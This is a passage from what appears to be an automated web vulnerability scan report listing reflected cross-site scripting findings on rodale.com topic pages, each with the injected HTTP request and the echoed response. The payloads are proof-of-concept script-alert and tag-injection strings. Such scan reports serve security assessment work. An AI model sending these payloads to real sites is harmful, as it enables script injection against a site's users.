Content-Length: 29969
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/coffee?56e81"><script>alert(1)</script>d731246efe0=1" title="Register" class="moreLink">
...[SNIP]...

2.392. http://www.rodale.com/topic/cold-and-flu [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cold-and-flu

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 325ff"><a>7aa17ddb734 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic325ff"><a>7aa17ddb734/cold-and-flu HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:23 GMT
Date: Thu, 10 Mar 2011 17:10:23 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic325ff"><a>7aa17ddb734 topic325ff">
...[SNIP]...

2.393. http://www.rodale.com/topic/cold-and-flu [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cold-and-flu

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fe88"><a>854e9a9fe7d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cold-and-flu3fe88"><a>854e9a9fe7d HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:00 GMT
Date: Thu, 10 Mar 2011 17:11:00 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cold-and-flu3fe88"><a>854e9a9fe7d node node-958">
...[SNIP]...

2.394. http://www.rodale.com/topic/cold-and-flu [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cold-and-flu

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcd1d"><script>alert(1)</script>bc552642942 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cold-and-flu?fcd1d"><script>alert(1)</script>bc552642942=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:19 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:21 GMT
Date: Thu, 10 Mar 2011 17:10:21 GMT
Content-Length: 32613
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cold-and-flu?fcd1d"><script>alert(1)</script>bc552642942=1" title="Register" class="moreLink">
...[SNIP]...

2.395. http://www.rodale.com/topic/colon-cancer [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/colon-cancer

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9db7"><a>a98f7b64581 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf9db7"><a>a98f7b64581/colon-cancer HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:28 GMT
Date: Thu, 10 Mar 2011 17:10:28 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf9db7"><a>a98f7b64581 topicf9db7">
...[SNIP]...

2.396. http://www.rodale.com/topic/colon-cancer [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/colon-cancer

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8893d"><a>048f33d39ad was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/colon-cancer8893d"><a>048f33d39ad HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:09 GMT
Date: Thu, 10 Mar 2011 17:11:10 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-colon-cancer8893d"><a>048f33d39ad node node-958">
...[SNIP]...

2.397. http://www.rodale.com/topic/colon-cancer [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/colon-cancer

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4a34"><script>alert(1)</script>675750b4a7a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/colon-cancer?d4a34"><script>alert(1)</script>675750b4a7a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:25 GMT
Date: Thu, 10 Mar 2011 17:10:25 GMT
Content-Length: 30786
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/colon-cancer?d4a34"><script>alert(1)</script>675750b4a7a=1" title="Register" class="moreLink">
...[SNIP]...

2.398. http://www.rodale.com/topic/colonoscopy [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/colonoscopy

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4da2"><a>4788575e527 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc4da2"><a>4788575e527/colonoscopy HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:41 GMT
Date: Thu, 10 Mar 2011 17:10:41 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc4da2"><a>4788575e527 topicc4da2">
...[SNIP]...

2.399. http://www.rodale.com/topic/colonoscopy [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/colonoscopy

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 451b2"><a>c6c1b607b59 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/colonoscopy451b2"><a>c6c1b607b59 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:13 GMT
Date: Thu, 10 Mar 2011 17:11:14 GMT
Content-Length: 22483
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-colonoscopy451b2"><a>c6c1b607b59 node node-958">
...[SNIP]...

2.400. http://www.rodale.com/topic/colonoscopy [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/colonoscopy

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8eb1"><script>alert(1)</script>538684a0a1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/colonoscopy?d8eb1"><script>alert(1)</script>538684a0a1a=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:37 GMT
Date: Thu, 10 Mar 2011 17:10:38 GMT
Content-Length: 29794
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/colonoscopy?d8eb1"><script>alert(1)</script>538684a0a1a=1" title="Register" class="moreLink">
...[SNIP]...

2.401. http://www.rodale.com/topic/compost-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/compost-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0828"><a>3237b5bf30b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicf0828"><a>3237b5bf30b/compost-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:41 GMT
Date: Thu, 10 Mar 2011 17:10:41 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicf0828"><a>3237b5bf30b topicf0828">
...[SNIP]...

2.402. http://www.rodale.com/topic/compost-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/compost-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2fb7"><a>92b810419a0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/compost-0b2fb7"><a>92b810419a0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:23 GMT
Date: Thu, 10 Mar 2011 17:11:23 GMT
Content-Length: 22477
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-compost-0b2fb7"><a>92b810419a0 node node-958">
...[SNIP]...

2.403. http://www.rodale.com/topic/compost-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/compost-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6df7b"><script>alert(1)</script>f3ea2c7e9ca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/compost-0?6df7b"><script>alert(1)</script>f3ea2c7e9ca=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:39 GMT
Date: Thu, 10 Mar 2011 17:10:39 GMT
Content-Length: 31363
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/compost-0?6df7b"><script>alert(1)</script>f3ea2c7e9ca=1" title="Register" class="moreLink">
...[SNIP]...

2.404. http://www.rodale.com/topic/contraception [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/contraception

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a4c6"><a>38c26419814 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic6a4c6"><a>38c26419814/contraception HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:45 GMT
Date: Thu, 10 Mar 2011 17:10:45 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic6a4c6"><a>38c26419814 topic6a4c6">
...[SNIP]...

2.405. http://www.rodale.com/topic/contraception [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/contraception

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fd50"><a>21521c86fb4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/contraception9fd50"><a>21521c86fb4 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:17 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:19 GMT
Date: Thu, 10 Mar 2011 17:11:19 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-contraception9fd50"><a>21521c86fb4 node node-958">
...[SNIP]...

2.406. http://www.rodale.com/topic/contraception [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/contraception

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d2c6"><script>alert(1)</script>ec4fd91d48b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/contraception?6d2c6"><script>alert(1)</script>ec4fd91d48b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:42 GMT
Date: Thu, 10 Mar 2011 17:10:42 GMT
Content-Length: 29823
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/contraception?6d2c6"><script>alert(1)</script>ec4fd91d48b=1" title="Register" class="moreLink">
...[SNIP]...

2.407. http://www.rodale.com/topic/cooking-tips [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cooking-tips

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff81b"><a>99a8a6b4291 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicff81b"><a>99a8a6b4291/cooking-tips HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:42 GMT
Date: Thu, 10 Mar 2011 17:10:42 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicff81b"><a>99a8a6b4291 topicff81b">
...[SNIP]...

2.408. http://www.rodale.com/topic/cooking-tips [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cooking-tips

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32aca"><a>8e40f840210 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cooking-tips32aca"><a>8e40f840210 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:15 GMT
Date: Thu, 10 Mar 2011 17:11:16 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cooking-tips32aca"><a>8e40f840210 node node-958">
...[SNIP]...

2.409. http://www.rodale.com/topic/cooking-tips [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cooking-tips

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a0a5"><script>alert(1)</script>0c9821cc731 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cooking-tips?6a0a5"><script>alert(1)</script>0c9821cc731=1 HTTP/1.1
